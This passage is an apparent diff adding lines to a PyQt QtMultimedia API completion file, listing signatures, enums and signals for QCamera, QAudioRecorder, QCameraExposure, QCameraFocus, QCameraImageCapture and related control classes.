+QtMultimedia.QMediaRecorder.error?4(QMediaRecorder.Error) +QtMultimedia.QMediaRecorder.metaDataAvailableChanged?4(bool) +QtMultimedia.QMediaRecorder.metaDataWritableChanged?4(bool) +QtMultimedia.QMediaRecorder.metaDataChanged?4(QString, QVariant) +QtMultimedia.QMediaRecorder.metaDataChanged?4() +QtMultimedia.QMediaRecorder.availabilityChanged?4(QMultimedia.AvailabilityStatus) +QtMultimedia.QMediaRecorder.availabilityChanged?4(bool) +QtMultimedia.QMediaRecorder.setMediaObject?4(QMediaObject) -> bool +QtMultimedia.QAudioRecorder?1(QObject parent=None) +QtMultimedia.QAudioRecorder.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioRecorder.audioInputs?4() -> QStringList +QtMultimedia.QAudioRecorder.defaultAudioInput?4() -> QString +QtMultimedia.QAudioRecorder.audioInputDescription?4(QString) -> QString +QtMultimedia.QAudioRecorder.audioInput?4() -> QString +QtMultimedia.QAudioRecorder.setAudioInput?4(QString) +QtMultimedia.QAudioRecorder.audioInputChanged?4(QString) +QtMultimedia.QAudioRecorder.availableAudioInputsChanged?4() +QtMultimedia.QAudioRoleControl?1(QObject parent=None) +QtMultimedia.QAudioRoleControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioRoleControl.audioRole?4() -> QAudio.Role +QtMultimedia.QAudioRoleControl.setAudioRole?4(QAudio.Role) +QtMultimedia.QAudioRoleControl.supportedAudioRoles?4() -> unknown-type +QtMultimedia.QAudioRoleControl.audioRoleChanged?4(QAudio.Role) +QtMultimedia.QCamera.Position?10 +QtMultimedia.QCamera.Position.UnspecifiedPosition?10 +QtMultimedia.QCamera.Position.BackFace?10 +QtMultimedia.QCamera.Position.FrontFace?10 +QtMultimedia.QCamera.LockType?10 +QtMultimedia.QCamera.LockType.NoLock?10 +QtMultimedia.QCamera.LockType.LockExposure?10 +QtMultimedia.QCamera.LockType.LockWhiteBalance?10 +QtMultimedia.QCamera.LockType.LockFocus?10 +QtMultimedia.QCamera.LockChangeReason?10 +QtMultimedia.QCamera.LockChangeReason.UserRequest?10 +QtMultimedia.QCamera.LockChangeReason.LockAcquired?10 +QtMultimedia.QCamera.LockChangeReason.LockFailed?10 +QtMultimedia.QCamera.LockChangeReason.LockLost?10 +QtMultimedia.QCamera.LockChangeReason.LockTemporaryLost?10 +QtMultimedia.QCamera.LockStatus?10 +QtMultimedia.QCamera.LockStatus.Unlocked?10 +QtMultimedia.QCamera.LockStatus.Searching?10 +QtMultimedia.QCamera.LockStatus.Locked?10 +QtMultimedia.QCamera.Error?10 +QtMultimedia.QCamera.Error.NoError?10 +QtMultimedia.QCamera.Error.CameraError?10 +QtMultimedia.QCamera.Error.InvalidRequestError?10 +QtMultimedia.QCamera.Error.ServiceMissingError?10 +QtMultimedia.QCamera.Error.NotSupportedFeatureError?10 +QtMultimedia.QCamera.CaptureMode?10 +QtMultimedia.QCamera.CaptureMode.CaptureViewfinder?10 +QtMultimedia.QCamera.CaptureMode.CaptureStillImage?10 +QtMultimedia.QCamera.CaptureMode.CaptureVideo?10 +QtMultimedia.QCamera.State?10 +QtMultimedia.QCamera.State.UnloadedState?10 +QtMultimedia.QCamera.State.LoadedState?10 +QtMultimedia.QCamera.State.ActiveState?10 +QtMultimedia.QCamera.Status?10 +QtMultimedia.QCamera.Status.UnavailableStatus?10 +QtMultimedia.QCamera.Status.UnloadedStatus?10 +QtMultimedia.QCamera.Status.LoadingStatus?10 +QtMultimedia.QCamera.Status.UnloadingStatus?10 +QtMultimedia.QCamera.Status.LoadedStatus?10 +QtMultimedia.QCamera.Status.StandbyStatus?10 +QtMultimedia.QCamera.Status.StartingStatus?10 +QtMultimedia.QCamera.Status.StoppingStatus?10 +QtMultimedia.QCamera.Status.ActiveStatus?10 +QtMultimedia.QCamera?1(QObject parent=None) +QtMultimedia.QCamera.__init__?1(self, QObject parent=None) +QtMultimedia.QCamera?1(QByteArray, QObject parent=None) +QtMultimedia.QCamera.__init__?1(self, QByteArray, QObject parent=None) +QtMultimedia.QCamera?1(QCameraInfo, QObject parent=None) +QtMultimedia.QCamera.__init__?1(self, QCameraInfo, QObject parent=None) +QtMultimedia.QCamera?1(QCamera.Position, QObject parent=None) +QtMultimedia.QCamera.__init__?1(self, QCamera.Position, QObject parent=None) +QtMultimedia.QCamera.availableDevices?4() -> unknown-type +QtMultimedia.QCamera.deviceDescription?4(QByteArray) -> QString +QtMultimedia.QCamera.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QCamera.state?4() -> QCamera.State +QtMultimedia.QCamera.status?4() -> QCamera.Status +QtMultimedia.QCamera.captureMode?4() -> QCamera.CaptureModes +QtMultimedia.QCamera.isCaptureModeSupported?4(QCamera.CaptureModes) -> bool +QtMultimedia.QCamera.exposure?4() -> QCameraExposure +QtMultimedia.QCamera.focus?4() -> QCameraFocus +QtMultimedia.QCamera.imageProcessing?4() -> QCameraImageProcessing +QtMultimedia.QCamera.setViewfinder?4(QVideoWidget) +QtMultimedia.QCamera.setViewfinder?4(QGraphicsVideoItem) +QtMultimedia.QCamera.setViewfinder?4(QAbstractVideoSurface) +QtMultimedia.QCamera.error?4() -> QCamera.Error +QtMultimedia.QCamera.errorString?4() -> QString +QtMultimedia.QCamera.supportedLocks?4() -> QCamera.LockTypes +QtMultimedia.QCamera.requestedLocks?4() -> QCamera.LockTypes +QtMultimedia.QCamera.lockStatus?4() -> QCamera.LockStatus +QtMultimedia.QCamera.lockStatus?4(QCamera.LockType) -> QCamera.LockStatus +QtMultimedia.QCamera.setCaptureMode?4(QCamera.CaptureModes) +QtMultimedia.QCamera.load?4() +QtMultimedia.QCamera.unload?4() +QtMultimedia.QCamera.start?4() +QtMultimedia.QCamera.stop?4() +QtMultimedia.QCamera.searchAndLock?4() +QtMultimedia.QCamera.unlock?4() +QtMultimedia.QCamera.searchAndLock?4(QCamera.LockTypes) +QtMultimedia.QCamera.unlock?4(QCamera.LockTypes) +QtMultimedia.QCamera.stateChanged?4(QCamera.State) +QtMultimedia.QCamera.captureModeChanged?4(QCamera.CaptureModes) +QtMultimedia.QCamera.statusChanged?4(QCamera.Status) +QtMultimedia.QCamera.locked?4() +QtMultimedia.QCamera.lockFailed?4() +QtMultimedia.QCamera.lockStatusChanged?4(QCamera.LockStatus, QCamera.LockChangeReason) +QtMultimedia.QCamera.lockStatusChanged?4(QCamera.LockType, QCamera.LockStatus, QCamera.LockChangeReason) +QtMultimedia.QCamera.error?4(QCamera.Error) +QtMultimedia.QCamera.errorOccurred?4(QCamera.Error) +QtMultimedia.QCamera.viewfinderSettings?4() -> QCameraViewfinderSettings +QtMultimedia.QCamera.setViewfinderSettings?4(QCameraViewfinderSettings) +QtMultimedia.QCamera.supportedViewfinderSettings?4(QCameraViewfinderSettings settings=QCameraViewfinderSettings()) -> unknown-type +QtMultimedia.QCamera.supportedViewfinderResolutions?4(QCameraViewfinderSettings settings=QCameraViewfinderSettings()) -> unknown-type +QtMultimedia.QCamera.supportedViewfinderFrameRateRanges?4(QCameraViewfinderSettings settings=QCameraViewfinderSettings()) -> unknown-type +QtMultimedia.QCamera.supportedViewfinderPixelFormats?4(QCameraViewfinderSettings settings=QCameraViewfinderSettings()) -> unknown-type +QtMultimedia.QCamera.CaptureModes?1() +QtMultimedia.QCamera.CaptureModes.__init__?1(self) +QtMultimedia.QCamera.CaptureModes?1(int) +QtMultimedia.QCamera.CaptureModes.__init__?1(self, int) +QtMultimedia.QCamera.CaptureModes?1(QCamera.CaptureModes) +QtMultimedia.QCamera.CaptureModes.__init__?1(self, QCamera.CaptureModes) +QtMultimedia.QCamera.LockTypes?1() +QtMultimedia.QCamera.LockTypes.__init__?1(self) +QtMultimedia.QCamera.LockTypes?1(int) +QtMultimedia.QCamera.LockTypes.__init__?1(self, int) +QtMultimedia.QCamera.LockTypes?1(QCamera.LockTypes) +QtMultimedia.QCamera.LockTypes.__init__?1(self, QCamera.LockTypes) +QtMultimedia.QCamera.FrameRateRange.maximumFrameRate?7 +QtMultimedia.QCamera.FrameRateRange.minimumFrameRate?7 +QtMultimedia.QCamera.FrameRateRange?1(float, float) +QtMultimedia.QCamera.FrameRateRange.__init__?1(self, float, float) +QtMultimedia.QCamera.FrameRateRange?1() +QtMultimedia.QCamera.FrameRateRange.__init__?1(self) +QtMultimedia.QCamera.FrameRateRange?1(QCamera.FrameRateRange) +QtMultimedia.QCamera.FrameRateRange.__init__?1(self, QCamera.FrameRateRange) +QtMultimedia.QCameraCaptureBufferFormatControl?1(QObject parent=None) +QtMultimedia.QCameraCaptureBufferFormatControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraCaptureBufferFormatControl.supportedBufferFormats?4() -> unknown-type +QtMultimedia.QCameraCaptureBufferFormatControl.bufferFormat?4() -> QVideoFrame.PixelFormat +QtMultimedia.QCameraCaptureBufferFormatControl.setBufferFormat?4(QVideoFrame.PixelFormat) +QtMultimedia.QCameraCaptureBufferFormatControl.bufferFormatChanged?4(QVideoFrame.PixelFormat) +QtMultimedia.QCameraCaptureDestinationControl?1(QObject parent=None) +QtMultimedia.QCameraCaptureDestinationControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraCaptureDestinationControl.isCaptureDestinationSupported?4(QCameraImageCapture.CaptureDestinations) -> bool +QtMultimedia.QCameraCaptureDestinationControl.captureDestination?4() -> QCameraImageCapture.CaptureDestinations +QtMultimedia.QCameraCaptureDestinationControl.setCaptureDestination?4(QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraCaptureDestinationControl.captureDestinationChanged?4(QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraControl.PropertyChangeType?10 +QtMultimedia.QCameraControl.PropertyChangeType.CaptureMode?10 +QtMultimedia.QCameraControl.PropertyChangeType.ImageEncodingSettings?10 +QtMultimedia.QCameraControl.PropertyChangeType.VideoEncodingSettings?10 +QtMultimedia.QCameraControl.PropertyChangeType.Viewfinder?10 +QtMultimedia.QCameraControl.PropertyChangeType.ViewfinderSettings?10 +QtMultimedia.QCameraControl?1(QObject parent=None) +QtMultimedia.QCameraControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraControl.state?4() -> QCamera.State +QtMultimedia.QCameraControl.setState?4(QCamera.State) +QtMultimedia.QCameraControl.status?4() -> QCamera.Status +QtMultimedia.QCameraControl.captureMode?4() -> QCamera.CaptureModes +QtMultimedia.QCameraControl.setCaptureMode?4(QCamera.CaptureModes) +QtMultimedia.QCameraControl.isCaptureModeSupported?4(QCamera.CaptureModes) -> bool +QtMultimedia.QCameraControl.canChangeProperty?4(QCameraControl.PropertyChangeType, QCamera.Status) -> bool +QtMultimedia.QCameraControl.stateChanged?4(QCamera.State) +QtMultimedia.QCameraControl.statusChanged?4(QCamera.Status) +QtMultimedia.QCameraControl.error?4(int, QString) +QtMultimedia.QCameraControl.captureModeChanged?4(QCamera.CaptureModes) +QtMultimedia.QCameraExposure.MeteringMode?10 +QtMultimedia.QCameraExposure.MeteringMode.MeteringMatrix?10 +QtMultimedia.QCameraExposure.MeteringMode.MeteringAverage?10 +QtMultimedia.QCameraExposure.MeteringMode.MeteringSpot?10 +QtMultimedia.QCameraExposure.ExposureMode?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureAuto?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureManual?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposurePortrait?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureNight?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureBacklight?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSpotlight?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSports?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSnow?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureBeach?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureLargeAperture?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSmallAperture?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureAction?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureLandscape?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureNightPortrait?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureTheatre?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSunset?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureSteadyPhoto?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureFireworks?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureParty?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureCandlelight?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureBarcode?10 +QtMultimedia.QCameraExposure.ExposureMode.ExposureModeVendor?10 +QtMultimedia.QCameraExposure.FlashMode?10 +QtMultimedia.QCameraExposure.FlashMode.FlashAuto?10 +QtMultimedia.QCameraExposure.FlashMode.FlashOff?10 +QtMultimedia.QCameraExposure.FlashMode.FlashOn?10 +QtMultimedia.QCameraExposure.FlashMode.FlashRedEyeReduction?10 +QtMultimedia.QCameraExposure.FlashMode.FlashFill?10 +QtMultimedia.QCameraExposure.FlashMode.FlashTorch?10 +QtMultimedia.QCameraExposure.FlashMode.FlashVideoLight?10 +QtMultimedia.QCameraExposure.FlashMode.FlashSlowSyncFrontCurtain?10 +QtMultimedia.QCameraExposure.FlashMode.FlashSlowSyncRearCurtain?10 +QtMultimedia.QCameraExposure.FlashMode.FlashManual?10 +QtMultimedia.QCameraExposure.isAvailable?4() -> bool +QtMultimedia.QCameraExposure.flashMode?4() -> QCameraExposure.FlashModes +QtMultimedia.QCameraExposure.isFlashModeSupported?4(QCameraExposure.FlashModes) -> bool +QtMultimedia.QCameraExposure.isFlashReady?4() -> bool +QtMultimedia.QCameraExposure.exposureMode?4() -> QCameraExposure.ExposureMode +QtMultimedia.QCameraExposure.isExposureModeSupported?4(QCameraExposure.ExposureMode) -> bool +QtMultimedia.QCameraExposure.exposureCompensation?4() -> float +QtMultimedia.QCameraExposure.meteringMode?4() -> QCameraExposure.MeteringMode +QtMultimedia.QCameraExposure.isMeteringModeSupported?4(QCameraExposure.MeteringMode) -> bool +QtMultimedia.QCameraExposure.spotMeteringPoint?4() -> QPointF +QtMultimedia.QCameraExposure.setSpotMeteringPoint?4(QPointF) +QtMultimedia.QCameraExposure.isoSensitivity?4() -> int +QtMultimedia.QCameraExposure.aperture?4() -> float +QtMultimedia.QCameraExposure.shutterSpeed?4() -> float +QtMultimedia.QCameraExposure.requestedIsoSensitivity?4() -> int +QtMultimedia.QCameraExposure.requestedAperture?4() -> float +QtMultimedia.QCameraExposure.requestedShutterSpeed?4() -> float +QtMultimedia.QCameraExposure.supportedIsoSensitivities?4() -> (unknown-type, bool) +QtMultimedia.QCameraExposure.supportedApertures?4() -> (unknown-type, bool) +QtMultimedia.QCameraExposure.supportedShutterSpeeds?4() -> (unknown-type, bool) +QtMultimedia.QCameraExposure.setFlashMode?4(QCameraExposure.FlashModes) +QtMultimedia.QCameraExposure.setExposureMode?4(QCameraExposure.ExposureMode) +QtMultimedia.QCameraExposure.setMeteringMode?4(QCameraExposure.MeteringMode) +QtMultimedia.QCameraExposure.setExposureCompensation?4(float) +QtMultimedia.QCameraExposure.setManualIsoSensitivity?4(int) +QtMultimedia.QCameraExposure.setAutoIsoSensitivity?4() +QtMultimedia.QCameraExposure.setManualAperture?4(float) +QtMultimedia.QCameraExposure.setAutoAperture?4() +QtMultimedia.QCameraExposure.setManualShutterSpeed?4(float) +QtMultimedia.QCameraExposure.setAutoShutterSpeed?4() +QtMultimedia.QCameraExposure.flashReady?4(bool) +QtMultimedia.QCameraExposure.apertureChanged?4(float) +QtMultimedia.QCameraExposure.apertureRangeChanged?4() +QtMultimedia.QCameraExposure.shutterSpeedChanged?4(float) +QtMultimedia.QCameraExposure.shutterSpeedRangeChanged?4() +QtMultimedia.QCameraExposure.isoSensitivityChanged?4(int) +QtMultimedia.QCameraExposure.exposureCompensationChanged?4(float) +QtMultimedia.QCameraExposure.FlashModes?1() +QtMultimedia.QCameraExposure.FlashModes.__init__?1(self) +QtMultimedia.QCameraExposure.FlashModes?1(int) +QtMultimedia.QCameraExposure.FlashModes.__init__?1(self, int) +QtMultimedia.QCameraExposure.FlashModes?1(QCameraExposure.FlashModes) +QtMultimedia.QCameraExposure.FlashModes.__init__?1(self, QCameraExposure.FlashModes) +QtMultimedia.QCameraExposureControl.ExposureParameter?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.ISO?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.Aperture?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.ShutterSpeed?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.ExposureCompensation?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.FlashPower?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.FlashCompensation?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.TorchPower?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.SpotMeteringPoint?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.ExposureMode?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.MeteringMode?10 +QtMultimedia.QCameraExposureControl.ExposureParameter.ExtendedExposureParameter?10 +QtMultimedia.QCameraExposureControl?1(QObject parent=None) +QtMultimedia.QCameraExposureControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraExposureControl.isParameterSupported?4(QCameraExposureControl.ExposureParameter) -> bool +QtMultimedia.QCameraExposureControl.supportedParameterRange?4(QCameraExposureControl.ExposureParameter) -> (unknown-type, bool) +QtMultimedia.QCameraExposureControl.requestedValue?4(QCameraExposureControl.ExposureParameter) -> QVariant +QtMultimedia.QCameraExposureControl.actualValue?4(QCameraExposureControl.ExposureParameter) -> QVariant +QtMultimedia.QCameraExposureControl.setValue?4(QCameraExposureControl.ExposureParameter, QVariant) -> bool +QtMultimedia.QCameraExposureControl.requestedValueChanged?4(int) +QtMultimedia.QCameraExposureControl.actualValueChanged?4(int) +QtMultimedia.QCameraExposureControl.parameterRangeChanged?4(int) +QtMultimedia.QCameraFeedbackControl.EventType?10 +QtMultimedia.QCameraFeedbackControl.EventType.ViewfinderStarted?10 +QtMultimedia.QCameraFeedbackControl.EventType.ViewfinderStopped?10 +QtMultimedia.QCameraFeedbackControl.EventType.ImageCaptured?10 +QtMultimedia.QCameraFeedbackControl.EventType.ImageSaved?10 +QtMultimedia.QCameraFeedbackControl.EventType.ImageError?10 +QtMultimedia.QCameraFeedbackControl.EventType.RecordingStarted?10 +QtMultimedia.QCameraFeedbackControl.EventType.RecordingInProgress?10 +QtMultimedia.QCameraFeedbackControl.EventType.RecordingStopped?10 +QtMultimedia.QCameraFeedbackControl.EventType.AutoFocusInProgress?10 +QtMultimedia.QCameraFeedbackControl.EventType.AutoFocusLocked?10 +QtMultimedia.QCameraFeedbackControl.EventType.AutoFocusFailed?10 +QtMultimedia.QCameraFeedbackControl?1(QObject parent=None) +QtMultimedia.QCameraFeedbackControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraFeedbackControl.isEventFeedbackLocked?4(QCameraFeedbackControl.EventType) -> bool +QtMultimedia.QCameraFeedbackControl.isEventFeedbackEnabled?4(QCameraFeedbackControl.EventType) -> bool +QtMultimedia.QCameraFeedbackControl.setEventFeedbackEnabled?4(QCameraFeedbackControl.EventType, bool) -> bool +QtMultimedia.QCameraFeedbackControl.resetEventFeedback?4(QCameraFeedbackControl.EventType) +QtMultimedia.QCameraFeedbackControl.setEventFeedbackSound?4(QCameraFeedbackControl.EventType, QString) -> bool +QtMultimedia.QCameraFlashControl?1(QObject parent=None) +QtMultimedia.QCameraFlashControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraFlashControl.flashMode?4() -> QCameraExposure.FlashModes +QtMultimedia.QCameraFlashControl.setFlashMode?4(QCameraExposure.FlashModes) +QtMultimedia.QCameraFlashControl.isFlashModeSupported?4(QCameraExposure.FlashModes) -> bool +QtMultimedia.QCameraFlashControl.isFlashReady?4() -> bool +QtMultimedia.QCameraFlashControl.flashReady?4(bool) +QtMultimedia.QCameraFocusZone.FocusZoneStatus?10 +QtMultimedia.QCameraFocusZone.FocusZoneStatus.Invalid?10 +QtMultimedia.QCameraFocusZone.FocusZoneStatus.Unused?10 +QtMultimedia.QCameraFocusZone.FocusZoneStatus.Selected?10 +QtMultimedia.QCameraFocusZone.FocusZoneStatus.Focused?10 +QtMultimedia.QCameraFocusZone?1(QCameraFocusZone) +QtMultimedia.QCameraFocusZone.__init__?1(self, QCameraFocusZone) +QtMultimedia.QCameraFocusZone.isValid?4() -> bool +QtMultimedia.QCameraFocusZone.area?4() -> QRectF +QtMultimedia.QCameraFocusZone.status?4() -> QCameraFocusZone.FocusZoneStatus +QtMultimedia.QCameraFocus.FocusPointMode?10 +QtMultimedia.QCameraFocus.FocusPointMode.FocusPointAuto?10 +QtMultimedia.QCameraFocus.FocusPointMode.FocusPointCenter?10 +QtMultimedia.QCameraFocus.FocusPointMode.FocusPointFaceDetection?10 +QtMultimedia.QCameraFocus.FocusPointMode.FocusPointCustom?10 +QtMultimedia.QCameraFocus.FocusMode?10 +QtMultimedia.QCameraFocus.FocusMode.ManualFocus?10 +QtMultimedia.QCameraFocus.FocusMode.HyperfocalFocus?10 +QtMultimedia.QCameraFocus.FocusMode.InfinityFocus?10 +QtMultimedia.QCameraFocus.FocusMode.AutoFocus?10 +QtMultimedia.QCameraFocus.FocusMode.ContinuousFocus?10 +QtMultimedia.QCameraFocus.FocusMode.MacroFocus?10 +QtMultimedia.QCameraFocus.isAvailable?4() -> bool +QtMultimedia.QCameraFocus.focusMode?4() -> QCameraFocus.FocusModes +QtMultimedia.QCameraFocus.setFocusMode?4(QCameraFocus.FocusModes) +QtMultimedia.QCameraFocus.isFocusModeSupported?4(QCameraFocus.FocusModes) -> bool +QtMultimedia.QCameraFocus.focusPointMode?4() -> QCameraFocus.FocusPointMode +QtMultimedia.QCameraFocus.setFocusPointMode?4(QCameraFocus.FocusPointMode) +QtMultimedia.QCameraFocus.isFocusPointModeSupported?4(QCameraFocus.FocusPointMode) -> bool +QtMultimedia.QCameraFocus.customFocusPoint?4() -> QPointF +QtMultimedia.QCameraFocus.setCustomFocusPoint?4(QPointF) +QtMultimedia.QCameraFocus.focusZones?4() -> unknown-type +QtMultimedia.QCameraFocus.maximumOpticalZoom?4() -> float +QtMultimedia.QCameraFocus.maximumDigitalZoom?4() -> float +QtMultimedia.QCameraFocus.opticalZoom?4() -> float +QtMultimedia.QCameraFocus.digitalZoom?4() -> float +QtMultimedia.QCameraFocus.zoomTo?4(float, float) +QtMultimedia.QCameraFocus.opticalZoomChanged?4(float) +QtMultimedia.QCameraFocus.digitalZoomChanged?4(float) +QtMultimedia.QCameraFocus.focusZonesChanged?4() +QtMultimedia.QCameraFocus.maximumOpticalZoomChanged?4(float) +QtMultimedia.QCameraFocus.maximumDigitalZoomChanged?4(float) +QtMultimedia.QCameraFocus.FocusModes?1() +QtMultimedia.QCameraFocus.FocusModes.__init__?1(self) +QtMultimedia.QCameraFocus.FocusModes?1(int) +QtMultimedia.QCameraFocus.FocusModes.__init__?1(self, int) +QtMultimedia.QCameraFocus.FocusModes?1(QCameraFocus.FocusModes) +QtMultimedia.QCameraFocus.FocusModes.__init__?1(self, QCameraFocus.FocusModes) +QtMultimedia.QCameraFocusControl?1(QObject parent=None) +QtMultimedia.QCameraFocusControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraFocusControl.focusMode?4() -> QCameraFocus.FocusModes +QtMultimedia.QCameraFocusControl.setFocusMode?4(QCameraFocus.FocusModes) +QtMultimedia.QCameraFocusControl.isFocusModeSupported?4(QCameraFocus.FocusModes) -> bool +QtMultimedia.QCameraFocusControl.focusPointMode?4() -> QCameraFocus.FocusPointMode +QtMultimedia.QCameraFocusControl.setFocusPointMode?4(QCameraFocus.FocusPointMode) +QtMultimedia.QCameraFocusControl.isFocusPointModeSupported?4(QCameraFocus.FocusPointMode) -> bool +QtMultimedia.QCameraFocusControl.customFocusPoint?4() -> QPointF +QtMultimedia.QCameraFocusControl.setCustomFocusPoint?4(QPointF) +QtMultimedia.QCameraFocusControl.focusZones?4() -> unknown-type +QtMultimedia.QCameraFocusControl.focusModeChanged?4(QCameraFocus.FocusModes) +QtMultimedia.QCameraFocusControl.focusPointModeChanged?4(QCameraFocus.FocusPointMode) +QtMultimedia.QCameraFocusControl.customFocusPointChanged?4(QPointF) +QtMultimedia.QCameraFocusControl.focusZonesChanged?4() +QtMultimedia.QCameraImageCapture.CaptureDestination?10 +QtMultimedia.QCameraImageCapture.CaptureDestination.CaptureToFile?10 +QtMultimedia.QCameraImageCapture.CaptureDestination.CaptureToBuffer?10 +QtMultimedia.QCameraImageCapture.DriveMode?10 +QtMultimedia.QCameraImageCapture.DriveMode.SingleImageCapture?10 +QtMultimedia.QCameraImageCapture.Error?10 +QtMultimedia.QCameraImageCapture.Error.NoError?10 +QtMultimedia.QCameraImageCapture.Error.NotReadyError?10 +QtMultimedia.QCameraImageCapture.Error.ResourceError?10 +QtMultimedia.QCameraImageCapture.Error.OutOfSpaceError?10 +QtMultimedia.QCameraImageCapture.Error.NotSupportedFeatureError?10 +QtMultimedia.QCameraImageCapture.Error.FormatError?10 +QtMultimedia.QCameraImageCapture?1(QMediaObject, QObject parent=None) +QtMultimedia.QCameraImageCapture.__init__?1(self, QMediaObject, QObject parent=None) +QtMultimedia.QCameraImageCapture.isAvailable?4() -> bool +QtMultimedia.QCameraImageCapture.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QCameraImageCapture.mediaObject?4() -> QMediaObject +QtMultimedia.QCameraImageCapture.error?4() -> QCameraImageCapture.Error +QtMultimedia.QCameraImageCapture.errorString?4() -> QString +QtMultimedia.QCameraImageCapture.isReadyForCapture?4() -> bool +QtMultimedia.QCameraImageCapture.supportedImageCodecs?4() -> QStringList +QtMultimedia.QCameraImageCapture.imageCodecDescription?4(QString) -> QString +QtMultimedia.QCameraImageCapture.supportedResolutions?4(QImageEncoderSettings settings=QImageEncoderSettings()) -> (unknown-type, bool) +QtMultimedia.QCameraImageCapture.encodingSettings?4() -> QImageEncoderSettings +QtMultimedia.QCameraImageCapture.setEncodingSettings?4(QImageEncoderSettings) +QtMultimedia.QCameraImageCapture.supportedBufferFormats?4() -> unknown-type +QtMultimedia.QCameraImageCapture.bufferFormat?4() -> QVideoFrame.PixelFormat +QtMultimedia.QCameraImageCapture.setBufferFormat?4(QVideoFrame.PixelFormat) +QtMultimedia.QCameraImageCapture.isCaptureDestinationSupported?4(QCameraImageCapture.CaptureDestinations) -> bool +QtMultimedia.QCameraImageCapture.captureDestination?4() -> QCameraImageCapture.CaptureDestinations +QtMultimedia.QCameraImageCapture.setCaptureDestination?4(QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraImageCapture.capture?4(QString file='') -> int +QtMultimedia.QCameraImageCapture.cancelCapture?4() +QtMultimedia.QCameraImageCapture.error?4(int, QCameraImageCapture.Error, QString) +QtMultimedia.QCameraImageCapture.readyForCaptureChanged?4(bool) +QtMultimedia.QCameraImageCapture.bufferFormatChanged?4(QVideoFrame.PixelFormat) +QtMultimedia.QCameraImageCapture.captureDestinationChanged?4(QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraImageCapture.imageExposed?4(int) +QtMultimedia.QCameraImageCapture.imageCaptured?4(int, QImage) +QtMultimedia.QCameraImageCapture.imageMetadataAvailable?4(int, QString, QVariant) +QtMultimedia.QCameraImageCapture.imageAvailable?4(int, QVideoFrame) +QtMultimedia.QCameraImageCapture.imageSaved?4(int, QString) +QtMultimedia.QCameraImageCapture.setMediaObject?4(QMediaObject) -> bool +QtMultimedia.QCameraImageCapture.CaptureDestinations?1() +QtMultimedia.QCameraImageCapture.CaptureDestinations.__init__?1(self) +QtMultimedia.QCameraImageCapture.CaptureDestinations?1(int) +QtMultimedia.QCameraImageCapture.CaptureDestinations.__init__?1(self, int) +QtMultimedia.QCameraImageCapture.CaptureDestinations?1(QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraImageCapture.CaptureDestinations.__init__?1(self, QCameraImageCapture.CaptureDestinations) +QtMultimedia.QCameraImageCaptureControl?1(QObject parent=None) +QtMultimedia.QCameraImageCaptureControl.__init__?1(self, QObject parent=None) +QtMultimedia.QCameraImageCaptureControl.isReadyForCapture?4() -> bool +QtMultimedia.QCameraImageCaptureControl.driveMode?4() -> QCameraImageCapture.DriveMode +QtMultimedia.QCameraImageCaptureControl.setDriveMode?4(QCameraImageCapture.DriveMode) +QtMultimedia.QCameraImageCaptureControl.capture?4(QString) -> int +QtMultimedia.QCameraImageCaptureControl.cancelCapture?4() +QtMultimedia.QCameraImageCaptureControl.readyForCaptureChanged?4(bool) +QtMultimedia.QCameraImageCaptureControl.imageExposed?4(int) +QtMultimedia.QCameraImageCaptureControl.imageCaptured?4(int, QImage) +QtMultimedia.QCameraImageCaptureControl.imageMetadataAvailable?4(int, QString, QVariant) +QtMultimedia.QCameraImageCaptureControl.imageAvailable?4(int, QVideoFrame) +QtMultimedia.QCameraImageCaptureControl.imageSaved?4(int, QString) +QtMultimedia.QCameraImageCaptureControl.error?4(int, int, QString) +QtMultimedia.QCameraImageProcessing.ColorFilter?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterNone?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterGrayscale?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterNegative?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterSolarize?10 +QtMultimedia.QCameraImageProcessing.ColorFilter.ColorFilterSepia?10 